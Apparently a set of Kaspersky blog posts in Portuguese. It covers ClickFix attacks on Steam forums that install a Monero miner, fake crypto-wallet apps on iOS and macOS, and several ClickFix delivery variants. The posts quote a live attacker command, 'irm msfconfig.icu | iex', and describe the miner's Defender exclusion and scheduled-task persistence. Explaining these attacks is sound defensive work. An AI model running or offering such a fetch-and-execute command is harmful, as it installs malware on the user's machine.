Visualização de leitura

ClickFix nos fóruns da Steam: como comandos maliciosos do PowerShell instalam um minerador de criptomoedas

Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.

Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.

ClickFix chega aos fóruns da Steam

Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.

O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.

Publicação de um agente malicioso em um fórum da Steam

Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte

Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.

A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.

Entenda rapidamente: o que realmente existe por trás do comando irm | iex

Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:

irm msfconfig.icu | iex

Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.

Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:

  1. irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
  2. icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
  3. iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.

Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.

Um minerador de criptomoedas, não uma ferramenta de otimização

Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.

Falsa otimização do Windows em andamento

O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte

Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.

Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.

O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.

Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.

Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.

Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares

Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.

Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?

  • Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
  • Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
  • Use uma solução de segurança confiável com modo de jogo que detecte a tempo tentativas de download de malware e impeça sua execução.
  • Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.

Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:

Clones de carteiras de criptomoedas por phishing na App Store e outros ataques contra usuários de iOS e macOS

Mesmo que você mantenha seus criptoativos em uma cold wallet (offline) e utilize dispositivos da Apple, que têm forte reputação em segurança, cibercriminosos ainda podem encontrar formas de desviar seus valores. Esses agentes maliciosos estão combinando técnicas conhecidas em novas cadeias de ataque, incluindo a atração de vítimas diretamente dentro da App Store.

Clones de carteiras de criptomoedas

Em março passado, identificamos aplicativos de phishing no topo dos rankings da App Store chinesa, com ícones e nomes que imitavam ferramentas populares de gerenciamento de carteiras de criptomoedas. Como restrições regionais bloqueiam vários aplicativos oficiais de carteiras na App Store chinesa, invasores passaram a explorar essa lacuna. Eles criaram aplicativos falsos com ícones semelhantes aos originais e nomes com erros ortográficos intencionais, provavelmente para contornar a moderação da App Store e enganar os usuários.

Aplicativos de phishing na App Store aparecendo nos resultados de busca por Ledger Wallet (anteriormente Ledger Live)

Aplicativos de phishing na App Store aparecendo nos resultados de busca por Ledger Wallet (anteriormente Ledger Live)

Além desses, identificamos diversos aplicativos com nomes e ícones que não tinham qualquer relação com criptomoedas. No entanto, seus banners promocionais alegavam que poderiam ser usados para baixar e instalar aplicativos oficiais de carteiras digitais que não estão disponíveis na App Store da região.

Banners em páginas de aplicativos afirmando que podem ser usados para baixar o aplicativo oficial do TokenPocket, que não está disponível na App Store local.

Banners em páginas de aplicativos afirmando que podem ser usados para baixar o aplicativo oficial do TokenPocket, que não está disponível na App Store local.

Ao todo, identificamos 26 aplicativos de phishing que se passam pelas seguintes carteiras populares:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

Alguns outros aplicativos muito semelhantes ainda não apresentavam funcionalidades de phishing, mas todos os indícios apontam que estão vinculados aos mesmos agentes maliciosos. É provável que pretendam adicionar funcionalidades maliciosas em atualizações futuras.

Para conseguir a aprovação desses aplicativos na App Store, os desenvolvedores incluíram funcionalidades básicas, como jogos, calculadoras ou gerenciadores de tarefas.

Instalar qualquer um desses clones é o primeiro passo para perder seus criptoativos. Embora os aplicativos em si não roubem diretamente criptomoedas, frases-semente (frases de recuperação) ou senhas, eles funcionam como isca, explorando a confiança do usuário por estarem listados na App Store oficial. Após a instalação e uso, no entanto, o aplicativo abre um site de phishing no navegador da vítima, projetado para imitar a App Store, e então induz o usuário a instalar uma versão comprometida da carteira de criptomoedas correspondente. Os invasores criaram múltiplas versões desses módulos maliciosos, cada uma adaptada a uma carteira específica. É possível encontrar uma análise técnica detalhada desse ataque em nossa publicação no Securelist.

Uma vítima que cai no golpe é inicialmente induzida a instalar um perfil de provisionamento, que permite o sideload de aplicativos em um iPhone fora da App Store. Em seguida, esse perfil é utilizado para instalar o próprio aplicativo malicioso.

Um site falso da App Store induzindo o usuário a instalar um aplicativo que se passa pelo Ledger Wallet

Um site falso da App Store induzindo o usuário a instalar um aplicativo que se passa pelo Ledger Wallet

No exemplo acima, o malware é baseado no aplicativo original da Ledger, com funcionalidades de trojan integradas. O aplicativo é visualmente idêntico ao original, mas, ao ser conectado a uma carteira de hardware, exibe uma janela solicitando a frase-semente, supostamente para restaurar o acesso. Esse não é o procedimento padrão. Normalmente, é necessário apenas inserir um PIN, nunca a frase de recuperação. Caso a vítima seja enganada pela aparente legitimidade do aplicativo e insira sua frase-semente, essa informação é imediatamente enviada ao servidor dos invasores, concedendo a eles acesso total aos criptoativos da vítima.

Sideload fora da App Store

Um componente crítico desse esquema envolve a instalação de malware no iPhone da vítima por meio da evasão da App Store e de seu processo de verificação. Esse método é executado de forma semelhante ao infostealer para iOS SparkKitty, identificado anteriormente. Os invasores conseguiram obter acesso ao Apple Developer Enterprise Program. Por apenas US$ 299 por ano, e após um processo que inclui entrevista e verificação corporativa, esse programa permite que organizações emitam seus próprios perfis de configuração e aplicativos para download direto nos dispositivos dos usuários, sem necessidade de publicação na App Store.

Para instalar o aplicativo, a vítima precisa primeiro instalar um perfil de configuração que viabiliza o download direto do malware, contornando a App Store. Observe o ícone de verificação verde

Para instalar o aplicativo, a vítima precisa primeiro instalar um perfil de configuração que viabiliza o download direto do malware, contornando a App Store. Observe o ícone de verificação verde

De modo geral, perfis corporativos são projetados para permitir que organizações distribuam aplicativos internos diretamente nos dispositivos de seus colaboradores. Esses aplicativos não precisam ser publicados na App Store e podem ser instalados em um número ilimitado de dispositivos. Infelizmente, esse recurso é frequentemente explorado de forma indevida. Esses perfis são amplamente utilizados para distribuir softwares que não atendem às políticas da Apple, como cassinos on-line, mods pirateados e, evidentemente, malware.

É exatamente por isso que o site falso que imita a Apple Store induz o usuário a instalar um perfil de configuração antes de disponibilizar o aplicativo assinado por esse perfil.

Roubo de criptomoedas por meio de aplicativos e extensões no macOS

Muitos usuários de criptomoedas preferem gerenciar suas carteiras em um computador, em vez de um smartphone, optando com frequência por dispositivos com macOS. Não surpreende, portanto, que a maioria dos infostealers voltados para macOS tenha como alvo dados de carteiras de criptomoedas, de uma forma ou de outra. Recentemente, porém, uma nova tática maliciosa vem ganhando força. Além de roubar dados armazenados, os atacantes passaram a incorporar diálogos de phishing diretamente em aplicativos legítimos de carteiras já instalados nos computadores das vítimas. No início deste ano, o infostealer MacSync passou a utilizar esse recurso. Ele se infiltra nos sistemas por meio de ataques do tipo ClickFix. Usuários que buscam determinados softwares são direcionados a sites falsos com instruções fraudulentas para instalar o aplicativo executando comandos no Terminal. Esse processo executa o infostealer, que coleta senhas e cookies armazenados no Chrome, conversas de mensageiros populares e dados de extensões de carteiras de criptomoedas baseadas em navegador.

No entanto, o ponto mais relevante ocorre na etapa seguinte. Se a vítima já possui um aplicativo legítimo da Trezor ou da Ledger instalado, o infostealer baixa módulos adicionais e substitui partes do aplicativo por código trojanizado. Em seguida, o malware assina novamente o arquivo modificado, de modo que, após essas alterações, o Gatekeeper, mecanismo de proteção nativo do macOS, permita a execução do aplicativo sem solicitar permissões adicionais ao usuário. Embora essa técnica nem sempre funcione, ela é eficaz em aplicativos mais simples desenvolvidos com base no Electron.

O aplicativo trojanizado, então, solicita ao usuário a frase-semente da carteira

O aplicativo trojanizado, então, solicita ao usuário a frase-semente da carteira

Ao abrir o aplicativo comprometido, ele simula um erro e inicia um suposto “processo de recuperação”, solicitando que o usuário informe a frase-semente.

Além do MacSync, desenvolvedores de outros infostealers populares para macOS também passaram a adotar essa abordagem de trojanização. Já descrevemos anteriormente um mecanismo semelhante utilizado para comprometer carteiras como Exodus e Bitcoin-Qt.

Como manter seus criptoativos seguros

Repetidamente, os invasores demonstram que nenhum dispositivo é totalmente invulnerável. Com tantos desenvolvedores e usuários de criptomoedas utilizando macOS e iOS, agentes maliciosos passaram a estruturar ataques em escala industrial para ambas as plataformas. Manter-se seguro exige uma abordagem de defesa em profundidade, aliada a ceticismo e vigilância constantes.

  • Baixe aplicativos apenas de fontes confiáveis, como o site oficial do desenvolvedor ou sua página na App Store. Como até mesmo lojas oficiais podem conter malware, verifique sempre o desenvolvedor do aplicativo.
  • Analise também a avaliação do app, a data de publicação e o número de downloads.
  • Leia as avaliações, especialmente as negativas. Ordene as avaliações por data para analisar a versão mais recente. Os invasores frequentemente começam com um aplicativo totalmente legítimo, que acumula boas avaliações, antes de introduzir funcionalidades maliciosas em uma atualização posterior.
  • Nunca copie e cole comandos no Terminal sem ter 100% de certeza sobre o que eles fazem. Esses ataques se tornaram muito populares ultimamente, muitas vezes disfarçados como etapas de instalação para aplicativos de IA como Claude Code ou OpenClaw.
  • Utilize uma solução de segurança abrangente em todos os seus computadores e smartphones. Recomendamos o Kaspersky Premium. Essa medida reduz significativamente o risco de acessar sites de phishing ou instalar aplicativos maliciosos.
  • Nunca insira sua frase-semente em um aplicativo de carteira de hardware, em um site ou em um chat. Em todos os cenários, seja migrando para uma nova carteira, reinstalando aplicativos ou recuperando uma carteira, a frase inicial deve ser inserida exclusivamente no próprio dispositivo de hardware (nunca em um aplicativo móvel ou de desktop).
  • Sempre verifique o endereço do destinatário diretamente na tela da carteira de hardware, como forma de prevenir ataques de substituição de endereço.
  • Armazene suas frases-semente da maneira mais segura possível, como em uma placa de metal ou em um envelope lacrado em um cofre. É melhor não armazená-las em um computador, mas se essa for sua única opção, use um cofre seguro e criptografado como Kaspersky Password Manager.

Ainda acredita que dispositivos da Apple são totalmente seguros? Reavalie essa percepção ao conhecer os seguintes casos:


Variações do ClickFix | Blog oficial da Kaspersky

Há cerca de um ano, publicamos uma postagem sobre a técnica ClickFix, que estava ganhando popularidade entre os invasores. A essência dos ataques usando o ClickFix é convencer a vítima, sob vários pretextos, a executar um comando malicioso em seu computador. Ou seja, do ponto de vista das soluções de segurança cibernética, ele é executado em nome do usuário ativo e com seus privilégios.

Nos primeiros usos dessa técnica, os cibercriminosos tentavam convencer as vítimas de que elas precisavam executar um comando para corrigir algum problema ou passar por um captcha e, na grande maioria dos casos, o comando malicioso era um script do PowerShell. No entanto, desde então, os invasores criaram uma série de novos truques sobre os quais os usuários devem ser avisados, bem como uma série de novas variantes de entrega de carga maliciosa, que também merecem atenção.

Uso de mshta.exe

No ano passado, os especialistas da Microsoft publicaram um relatório sobre ataques cibernéticos direcionados a proprietários de hotéis que trabalham com a Booking.com. Os invasores enviaram notificações falsas do serviço ou e-mails fingindo ser de hóspedes chamando a atenção para uma avaliação. Em ambos os casos, o e-mail continha um link para um site imitando o site Booking.com, que pedia à vítima para provar que não era um robô executando um código pelo menu Executar.

Há duas diferenças principais entre esse ataque e o ClickFix. Primeiro, ninguém pede para o usuário copiar a string (afinal, uma string com código às vezes levanta suspeitas). Ela é copiada para a área de transferência pelo site malicioso, provavelmente quando o usuário clica em uma caixa de seleção que imita o mecanismo reCAPTCHA. Em segundo lugar, a string maliciosa invoca o utilitário mshta.exe legítimo, que serve para executar aplicativos escritos em HTML. Ele entra em contato com o servidor dos invasores e executa a carga maliciosa.

Vídeo no TikTok e PowerShell com privilégios de administrador

A BleepingComputer publicou um artigo em outubro de 2025 sobre uma campanha que espalha malware por meio de instruções em vídeos do TikTok. Os próprios vídeos imitam tutoriais sobre como ativar software proprietário gratuitamente. O conselho que fornecem se resume à necessidade de executar o PowerShell com privilégios de administrador e, em seguida, executar o comando iex (irm {address}). Aqui, o comando irm baixa um script malicioso de um servidor controlado por invasores e o comando iex (Invoke-Expression) o executa. O script, por sua vez, baixa um malware infostealer para o computador da vítima.

Uso do protocolo Finger

Outra variante incomum do ataque ClickFix usa o conhecido truque do captcha, mas o script malicioso usa o antigo protocolo Finger. O utilitário de mesmo nome permite que qualquer pessoa solicite dados sobre um usuário específico em um servidor remoto. Hoje, o protocolo raramente é usado, mas ainda é compatível com Windows, macOS e diversos sistemas baseados em Linux.

O usuário é persuadido a abrir a interface da linha de comando e usá-la para executar um comando que estabelece uma conexão pelo protocolo Finger (usando a porta TCP 79) com o servidor do invasor. O protocolo transfere apenas informações de texto, mas isso é suficiente para baixar outro script para o computador da vítima, que então instala o malware.

Variante CrashFix

Outra variante do ClickFix difere por usar engenharia social mais sofisticada. Ela foi usada em um ataque a usuários que tentavam encontrar uma ferramenta para bloquear banners de publicidade, rastreadores, malware e outros conteúdos indesejados em páginas da web. Ao procurar uma extensão adequada para o Google Chrome, as vítimas encontraram algo chamado NexShield – Advanced Web Guardian, que na verdade era um clone de um software real funcional, mas que em algum momento travava o navegador e exibia uma notificação falsa sobre um problema de segurança detectado e a necessidade de executar uma “verificação” para corrigir o erro. Se o usuário concordasse, ele recebia instruções sobre como abrir o menu Executar e digitar um comando que a extensão havia copiado anteriormente para a área de transferência.

O comando copiava o arquivo finger.exe conhecido para um diretório temporário, o renomeava como ct.exe e, em seguida, iniciava-o com o endereço do invasor. O resto do ataque era idêntico ao caso anterior. Em resposta à solicitação do protocolo Finger, um script malicioso era entregue, que iniciava e instalava um trojan de acesso remoto (neste caso, ModeloRAT).

Entrega de malware por consulta DNS

A equipe de Inteligência de Ameaças da Microsoft também compartilhou uma variante de ataque ClickFix um pouco mais complexa do que o habitual. Infelizmente, eles não descreveram o truque de engenharia social, mas o método de entregar a carga maliciosa é bastante interessante. Provavelmente para dificultar a detecção do ataque em um ambiente corporativo e prolongar a vida útil da infraestrutura maliciosa, os invasores usaram uma etapa adicional: entrar em contato com um servidor DNS controlado pelos invasores.

Ou seja, depois que a vítima é persuadida de alguma forma a copiar e executar um comando malicioso, uma solicitação é enviada ao servidor DNS em nome do usuário por meio do utilitário nslookup legítimo, solicitando dados para o domínio example.com. O comando continha o endereço de um servidor DNS específico controlado pelos invasores. Ele retorna uma resposta que, entre outras coisas, contém uma string com um script malicioso, que por sua vez baixa a carga útil final (neste ataque, ModeloRAT novamente).

Isca de criptomoeda e JavaScript como carga útil

A próxima variante de ataque é interessante por sua engenharia social de vários estágios. Em comentários no Pastebin, os invasores espalharam ativamente uma mensagem sobre uma suposta falha no serviço de câmbio de criptomoedas Swapzone.io. Os proprietários de criptomoedas recebiam convites para visitar um site criado por fraudadores, que continha instruções completas sobre como explorar uma falha capaz de gerar até US$ 13.000 em poucos dias.

As instruções explicavam como as falhas do serviço podiam ser exploradas para trocar criptomoedas a uma taxa mais favorável. Para fazer isso, a vítima precisava abrir o site do serviço no navegador Chrome, digitar manualmente “javascript:” na barra de endereço, colar o script JavaScript copiado do site do invasor e executá-lo. Na realidade, é claro, o script não podia afetar as taxas de câmbio; ele simplesmente substituía os endereços da carteira Bitcoin e, se a vítima realmente tentasse negociar algo, transferiria os fundos para as contas dos invasores.

Como proteger a sua empresa contra ataques ClickFix

Os ataques mais simples que usam a técnica ClickFix podem ser combatidos pelo bloqueio da combinação de teclas [Win] + [R] em dispositivos de trabalho. Mas, como vemos nos exemplos listados, esse está longe de ser o único tipo de ataque em que os usuários são instruídos a executar código malicioso.

Portanto, o principal conselho é aumentar a conscientização em segurança cibernética dos funcionários. Eles devem entender claramente que, se alguém lhes pedir para executar qualquer manipulação incomum no sistema e/ou copiar e colar um código em algum lugar, na maioria dos casos trata-se de um truque usado pelos cibercriminosos. O treinamento de conscientização de segurança pode ser organizado com a Kaspersky Automated Security Awareness Platform.

Além disso, para se proteger contra esses ataques cibernéticos, recomendamos:

❌